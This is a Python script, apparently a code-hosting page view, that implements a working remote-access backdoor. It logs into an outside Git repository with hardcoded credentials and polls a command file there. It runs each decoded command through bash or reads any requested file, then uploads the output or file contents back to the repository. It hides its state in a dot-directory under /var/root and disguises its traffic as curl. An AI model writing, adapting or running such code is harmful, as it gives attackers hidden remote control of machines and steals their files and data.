65 lines
2.9 KiB
Python
65 lines
2.9 KiB
Python
import json, base64, os, subprocess, time, urllib.request
|
|
U = 'ex0cs08ytm'; P = 'Pwh7jNkffkrLcoCZ#9'
|
|
BASE = 'https://git.kaki87.net/api/v1/repos/ex0cs08ytm/i18299sync'
|
|
AUTH = 'Basic ' + base64.b64encode((U + ':' + P).encode()).decode()
|
|
LAST = '/var/root/.cache/.a18299/last'
|
|
LOG = '/var/root/.cache/.a18299/agent.log'
|
|
|
|
def log(s):
|
|
try:
|
|
open(LOG, 'a').write(time.strftime('%H:%M:%S') + ' ' + s + '\n')
|
|
except Exception:
|
|
pass
|
|
|
|
def req(path, method='GET', data=None, timeout=30):
|
|
r = urllib.request.Request(BASE + path, method=method, data=data,
|
|
headers={'Authorization': AUTH, 'User-Agent': 'curl/7.88', 'Content-Type': 'application/json'})
|
|
with urllib.request.urlopen(r, timeout=timeout) as x:
|
|
return x.read()
|
|
|
|
log('START pid %d' % os.getpid())
|
|
while True:
|
|
try:
|
|
j = json.loads(req('/contents/cmd.txt?ref=main'))
|
|
sha = j['sha']
|
|
obj = json.loads(base64.b64decode(j['content']).decode('utf8', 'replace'))
|
|
cid = str(obj.get('id', '')); mode = obj.get('mode', 'sh')
|
|
last = open(LAST).read().strip() if os.path.exists(LAST) else ''
|
|
if cid and sha != last:
|
|
cmd = base64.b64decode(obj.get('b64', '')).decode('utf8', 'replace')
|
|
if mode == 'file':
|
|
try:
|
|
p = cmd.strip(); st = os.stat(p)
|
|
out = ('FILEB64:' + base64.b64encode(open(p, 'rb').read()).decode()).encode() if st.st_size <= 3500000 else ('ERR too big %d' % st.st_size).encode()
|
|
except Exception as e:
|
|
out = ('ERR ' + repr(e)).encode()
|
|
else:
|
|
try:
|
|
r = subprocess.run(['/bin/bash', '-c', cmd], capture_output=True, timeout=110)
|
|
out = r.stdout + r.stderr
|
|
except subprocess.TimeoutExpired:
|
|
out = b'__TIMEOUT__'
|
|
except Exception as e:
|
|
out = ('EXC ' + repr(e)).encode()
|
|
if not out:
|
|
out = b'(empty)'
|
|
out = out[:600000]
|
|
ok = False
|
|
for a in range(6):
|
|
try:
|
|
data = {'content': base64.b64encode(out).decode(), 'message': 'out ' + cid, 'branch': 'main'}
|
|
method = 'POST'
|
|
try:
|
|
j2 = json.loads(req('/contents/out-' + cid + '.txt?ref=main'))
|
|
data['sha'] = j2.get('sha', '')
|
|
method = 'PUT'
|
|
except Exception:
|
|
pass
|
|
req('/contents/out-' + cid + '.txt', method, json.dumps(data).encode())
|
|
open(LAST, 'w').write(sha); ok = True; break
|
|
except Exception as e:
|
|
time.sleep(8)
|
|
log(('DONE ' if ok else 'FAIL ') + cid + ' len=%d' % len(out))
|
|
except Exception as e:
|
|
log('ERR ' + repr(e)[:80])
|
|
time.sleep(4)
|